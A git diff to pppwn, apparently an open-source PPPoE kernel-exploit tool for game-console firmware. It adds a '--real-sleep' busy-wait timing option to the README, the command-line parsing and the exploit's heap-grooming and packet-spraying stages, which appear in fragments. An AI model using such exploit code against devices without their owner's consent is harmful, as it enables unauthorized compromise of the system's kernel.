diff --git a/README.md b/README.md index c443790..4dcc0d6 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,7 @@ pppwn --interface en0 --fw 1100 --stage1 "stage1.bin" --stage2 "stage2.bin" --ti - `-bs` `--buffer-size`: PCAP buffer size in bytes, less than 100 indicates default value (usually 2MB) (default: `0`) - `-a` `--auto-retry`: automatically retry when fails or timeout - `-nw` `--no-wait-padi`: don't wait one more [PADI](https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet#Client_to_server:_Initiation_(PADI)) before starting the exploit +- `-rs` `--real-sleep`: use CPU for more precise sleep time (Only used when execution speed is too slow) - `--web`: use the web interface - `--url`: the url of the web interface (default: `0.0.0.0:7796`) diff --git a/include/exploit.h b/include/exploit.h index 69a55b1..3019f0d 100644 --- a/include/exploit.h +++ b/include/exploit.h @@ -90,6 +90,8 @@ class Exploit { void setAutoRetry(bool retry); + void setRealSleep(bool sleep); + void closeInterface(); void updateSourceMac(uint64_t value); @@ -140,6 +142,7 @@ class Exploit { std::vector stage2_bin{}; bool auto_retry{}; bool wait_padi{}; + bool real_sleep{}; int timeout{}; int wait_after_pin{1}; int groom_delay{4}; diff --git a/src/exploit.cpp b/src/exploit.cpp index 986e668..300d1c1 100644 --- a/src/exploit.cpp +++ b/src/exploit.cpp @@ -82,6 +82,12 @@ struct Cookie { #define startBlockingCapture(cb) if(dev->startCaptureBlockingMode(cb, nullptr, this->timeout) != 1) { return running ? RETURN_FAIL : RETURN_STOP; } #define startBlockingCaptureWithCookie(cb, cookie) if(dev->startCaptureBlockingMode(cb, cookie, this->timeout) != 1) { return running ? RETURN_FAIL : RETURN_STOP; } +static void cpuSleep(int ms) { + auto start = std::chrono::high_resolution_clock::now(); + auto end = start + std::chrono::milliseconds(ms); + while (std::chrono::high_resolution_clock::now() < end) {} +} + int Exploit::setFirmwareVersion(FirmwareVersion version) { switch (version) { case FirmwareVersion::FIRMWARE_700_702: @@ -160,6 +166,10 @@ void Exploit::setAutoRetry(bool value) { this->auto_retry = value; } +void Exploit::setRealSleep(bool sleep) { + this->real_sleep = sleep; +} + void Exploit::setTimeout(int value) { this->timeout = value; } @@ -735,7 +745,7 @@ int Exploit::stage0() { dev->sendPacket(&packet); } - if (i % groom_delay == 0) pcpp::multiPlatformMSleep(1); + if (i % groom_delay == 0) real_sleep ? cpuSleep(1) : pcpp::multiPlatformMSleep(1); } TIME_END_PERIOD(); std::cout << "\r[+] Heap grooming...done" << std::endl; @@ -759,7 +769,7 @@ int Exploit::stage1() { auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(), pppLayer->getPPPoEHeader()->sessionId, pppLayer->getLayerPayload()[1], // id - *(uint32_t *) &pppLayer->getLayerPayload()[4]); // magic number + *(uint32_t * ) & pppLayer->getLayerPayload()[4]); // magic number device->sendPacket(&echoReply); }, nullptr); @@ -777,7 +787,7 @@ int Exploit::stage1() { << (100 * i / PIN_NUM) << "%" << std::flush; } dev->sendPacket(&packet); - pcpp::multiPlatformMSleep(1); + real_sleep ? cpuSleep(1) : pcpp::multiPlatformMSleep(1); CHECK_RUNNING(); } TIME_END_PERIOD(); @@ -864,7 +874,7 @@ int Exploit::stage1() { dev->sendPacket(&packet); } - if (i % groom_delay == 0) pcpp::multiPlatformMSleep(1); + if (i % groom_delay == 0) real_sleep ? cpuSleep(1) : pcpp::multiPlatformMSleep(1); } TIME_END_PERIOD(); @@ -894,7 +904,7 @@ int Exploit::stage2() { if (option[0] != 1) return false; // type 1 is ICMPv6NDOptSrcLLAddr if (option[1] > 1) { auto *self = (Exploit *) cookie; - self->pppoe_softc_list = *(uint64_t *) (option + 3); + self->pppoe_softc_list = *(uint64_t * )(option + 3); return true; // length > 1 } return false; diff --git a/src/main.cpp b/src/main.cpp index 48b0698..63dadaf 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -125,6 +125,7 @@ int main(int argc, char *argv[]) { bool retry = false; bool no_wait_padi = false; bool web_page = false; + bool real_sleep = false; auto cli = ( ("network interface" % required("-i", "--interface") & value("interface", interface), \ @@ -141,6 +142,8 @@ int main(int argc, char *argv[]) { option("-bs", "--buffer-size") & integer("bytes", buffer_size), \ "automatically retry when fails or timeout" % option("-a", "--auto-retry").set(retry), \ "don't wait one more PADI before starting" % option("-nw", "--no-wait-padi").set(no_wait_padi), \ + "Use CPU for more precise sleep time (Only used when execution speed is too slow)" % + option("-rs", "--real-sleep").set(real_sleep), \ "start a web page" % option("--web").set(web_page), \ "url" % option("--url") & value("url", web_url) ) | \ @@ -163,6 +166,7 @@ int main(int argc, char *argv[]) { std::cout << "[+] args: interface=" << interface << " fw=" << fw << " stage1=" << stage1 << " stage2=" << stage2 << " timeout=" << timeout << " wait-after-pin=" << wait_after_pin << " groom-delay=" << groom_delay << " auto-retry=" << (retry ? "on" : "off") << " no-wait-padi=" << (no_wait_padi ? "on" : "off") + << " real_sleep=" << (real_sleep ? "on" : "off") << std::endl; signal(SIGPIPE, SIG_IGN); @@ -182,6 +186,7 @@ int main(int argc, char *argv[]) { exploit->setGroomDelay(groom_delay); exploit->setWaitAfterPin(wait_after_pin); exploit->setAutoRetry(retry); + exploit->setRealSleep(real_sleep); if (web_page) { web = std::make_shared(exploit);